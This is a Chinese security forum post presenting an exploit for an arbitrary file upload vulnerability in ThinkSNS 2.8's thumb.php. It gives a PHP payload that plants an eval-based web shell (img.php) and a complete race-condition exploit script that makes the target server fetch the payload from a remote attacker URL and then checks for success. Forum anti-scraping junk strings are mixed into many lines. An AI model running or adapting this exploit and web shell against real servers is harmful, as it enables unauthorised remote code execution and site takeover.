找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2005|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
( [( F, s3 T! _5 ]' p- s存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过): p, W" {' r: T9 c2 M+ y
漏洞文件
+ B8 e( p# S3 U1 \- l: O) }1 X" [- b存在漏洞的文件为:thumb.php
' y7 z& ~+ H+ d0 A6 u3 @+ y- N作者:韦鲲鹏- r: R/ t7 j5 _5 _3 l5 G' s0 ?
1、        准备如下PHP文件并上传到服务器(自己的)。$ ^0 n1 M# o7 p, O
文件内容如下:
- t9 ~8 {$ j+ [0 \6 z1 k, @<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2 U5 e3 J& r- d$ }" ]& Z3 R& w3 \2、        计算出临时的文件名:( \7 \- k0 P2 L, z+ q
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
; w; l. b/ y3 H& i, U  V7 K2 W. m0 {" }- W
3、        上传临时文件。6 t$ A( G1 t( Y) N& M+ [
4、        访问临时文件。& V8 G' v( \# f8 @
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
: N. H7 h6 f) E4 V$ J% |; LExploit文件内容如下:(这个我就不详细解释了)
, k& j  u4 b, v<?php/ p2 U" v4 ?8 D# p" p; W# |1 I9 x
error_reporting(0);
! w% W  z) D+ ]" b$ X& D2 t6 \0 z! lset_time_limit(0);
+ ^* }1 {/ D& P: Z% u5 lini_set(“default_socket_timeout”, 5);1 V. z, T+ w9 ^* Z8 E
function http_send($host, $port, $headers) {
2 l- k$ U+ i' {- U* r' e$fp = fsockopen($host, $port);
4 ?: W& q9 g. Y( R) Eif (!$fp) die(‘Connection -> fail’);& t6 S8 n2 d5 E3 U" \) Z
fputs($fp, $headers);
- p" A$ O& ?' l# z3 jreturn $fp;0 J! J  m* ~1 y4 `
}) }. ~; J4 r$ R1 [' u
function http_recv($fp) {+ y; ?. ]. _" u% q, a$ D$ i
$ret=”";, e6 _* R+ c6 A' u' a  `; ]3 L  W% q/ M: N
while (!feof($fp))
8 e" _3 B  D. J0 Z$ret.= fgets($fp, 1024);
# M5 p5 j/ X8 I( N( E0 |fclose($fp);
' X' d; _( B; lreturn $ret;
" `0 k' T. h8 k" L& \$ t  m4 k}: i) v4 [; E' F3 f$ {. m! l
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
% @7 Z, p) u3 R+ Q- f' C# Hprint “# Discovered by 韦鲲鹏 #\n\n”;, F& }( F: S5 g  \
if ($argc < 4) {8 j7 Y# n: Z5 u3 Z3 _
print “Usage:   php <host> <path> <romote_url>\n”;
8 n/ D5 G/ q3 e- sprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;3 K/ b' e: N' W1 L2 ?- x
die();
5 N/ Q' z+ C" j: x}5 t6 i! p! m+ I" R2 F0 r
$host = $argv[1];
- L- r7 F" ?; O2 u. W  h$path = $argv[2];
. S: m9 ?$ e" M, u! A+ y; L$url = $argv[3];
3 }$ {/ _6 Y& p+ S% N* C9 D" [$i=0;
# I5 y8 D7 S0 p9 d/ b8 Q; ?$ [% l//上传数据包3 M& ]0 S6 k  Q& z
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;7 R. X/ Z- n% z
$headers_up .= “Host: “.$host.”\r\n”;
6 ?$ a  o  |3 p) D$headers_up .= “Connection: close\r\n\r\n”;" f2 v. e6 D! S5 T/ L& ~( w
echo $headers_up;
) L7 g) |5 G8 P4 h) Q3 c0 y# J; W//临时文件访问数据包0 U% g2 ^5 O8 L0 N- c* E8 @
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;+ i: Q0 Z# h9 A1 c$ D- F1 l
$headers .= “Host: “.$host.”\r\n”;
% d* m0 {' z) t5 H) H- M! s+ a6 D$headers .= “Connection: close\r\n\r\n”;
5 M0 o0 ^0 o- Y+ e& G. }. g) Cecho $headers;8 ^  {8 t# o. r  {% |6 H4 Y, j$ Q
while(++$i<10) {
$ l; e/ D+ }: |! |" h6 ^3 ~: _fclose(http_send($host, 80, $headers));
7 U/ z* X, ?" B2 i9 k; N}% s1 a8 A, Y' P8 s3 h
fclose(http_send($host, 80, $headers_up));
, X* h. V+ |1 D1 F/ ^! j0 A7 rwhile(++$i<50) {4 Q! U# b/ A- e7 m- n" N
fclose(http_send($host, 80, $headers));" ~* i. b) t( j  ~; S( H
}2 `4 i. e4 L( _" t- d) p; j) \
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, w1 `/ l0 k$ W, B+ c5 r* C8 B/ ?9 ^$headers .= “Host: “.$host.”\r\n”;: h. X$ B. G5 i+ k+ w+ \1 P- N
$headers .= “Connection: close\r\n\r\n”;4 u  B9 L3 p# J0 ?; \. }6 y
$res=http_recv(http_send($host, 80, $headers));
, L# I8 S6 I( R6 g+ Uif(preg_match(‘/200 OK/’,$res)) {
$ a( s) K. L# b/ c' }6 Aprint “Success!\n\n”;
5 Z/ C7 Z& G/ V9 J7 I5 l( k0 t9 [2 i} else {
6 {! D+ ]* \+ l. C4 E0 _print “Fail!\n\n”;
: f7 ^- v% O7 t! L' \9 Q+ U1 j- ?; V}9 l0 I5 s6 F$ Z/ b) I
?>
1 p1 w- s3 j# q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表